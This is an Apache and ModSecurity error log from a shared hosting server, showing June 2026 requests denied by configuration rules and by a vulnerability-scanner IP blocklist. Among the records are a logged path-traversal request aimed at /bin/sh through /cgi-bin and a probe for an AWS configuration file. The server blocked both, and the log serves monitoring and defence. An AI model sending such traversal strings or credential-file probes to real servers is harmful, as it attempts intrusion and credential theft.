https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2lk [Sat Jun 13 18:20:37.436296 2026] [security2:error] [pid 646876:tid 647128] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_date_set_variation4.phpt"] [unique_id "ai3z1dyTkdrNlD40tSG_5AAAAHg"] [Sat Jun 13 18:20:37.573177 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:20:37.573452 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:20:37.658487 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.69:36456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:37.658767 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.69:36456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:38.112408 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.51:57002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:38.112709 2026] [access_compat:error] [pid 648189:tid 648261] [remote 57.141.14.51:57002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:38.138402 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:38.138699 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:38.303290 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.9:36774] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:38.303569 2026] [access_compat:error] [pid 648189:tid 648326] [remote 57.141.14.9:36774] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:38.397834 2026] [security2:error] [pid 648189:tid 648330] [remote 17.241.219.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z1lWSojQL4F7upKCHHgAApWs"] [Sat Jun 13 18:20:38.604114 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.78:59186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:38.604567 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.78:59186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:38.623478 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:20:38.623759 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:20:38.671668 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.29:35777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:38.671940 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.29:35777] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:39.044822 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.48:32013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:39.045249 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.48:32013] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:39.067888 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:44200] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/aws.php"] [unique_id "ai3z11WSojQL4F7upKCHMAAAAN8"] [Sat Jun 13 18:20:39.110554 2026] [security2:error] [pid 648189:tid 648272] [remote 216.73.216.223:23206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3z11WSojQL4F7upKCHMQAA_DI"] [Sat Jun 13 18:20:39.138948 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:20:39.139220 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:20:39.288672 2026] [core:error] [pid 648189:tid 648463] [client 47.103.194.228:51798] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh) [Sat Jun 13 18:20:39.636664 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:20:39.637107 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:20:39.646919 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.31:63258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:39.647184 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.31:63258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:39.769617 2026] [security2:error] [pid 648189:tid 648264] [remote 17.246.23.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z11WSojQL4F7upKCHPgAAyyo"] [Sat Jun 13 18:20:39.788379 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.28:22508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:39.788635 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.28:22508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:39.845775 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.26:26720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:39.846223 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.26:26720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.006931 2026] [security2:error] [pid 648189:tid 648247] [remote 17.22.237.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z2FWSojQL4F7upKCHRQAAsxo"] [Sat Jun 13 18:20:40.030994 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.100:52279] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.031261 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.100:52279] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.186695 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:20:40.186966 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:20:40.332274 2026] [security2:error] [pid 648189:tid 648251] [remote 17.22.237.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z2FWSojQL4F7upKCHUAAAph4"] [Sat Jun 13 18:20:40.528806 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.11:23585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.529228 2026] [access_compat:error] [pid 646876:tid 646884] [remote 57.141.14.11:23585] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.615495 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.12:20882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.615948 2026] [access_compat:error] [pid 648189:tid 648282] [remote 57.141.14.12:20882] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.695342 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2U= [Sat Jun 13 18:20:40.695717 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2U= [Sat Jun 13 18:20:40.771065 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.73:57452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.771318 2026] [access_compat:error] [pid 646876:tid 646961] [remote 57.141.14.73:57452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.818949 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.91:45230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.819365 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.91:45230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.827576 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.96:47979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:40.827853 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.96:47979] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:40.858218 2026] [security2:error] [pid 648189:tid 648238] [remote 74.7.227.53:53970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3z2FWSojQL4F7upKCHZgAA_BE"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-de-control-de-acceso-incluye-2-puertas-hikcentral-p-acs-base-2door [Sat Jun 13 18:20:41.033949 2026] [security2:error] [pid 648189:tid 648263] [remote 17.241.75.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] 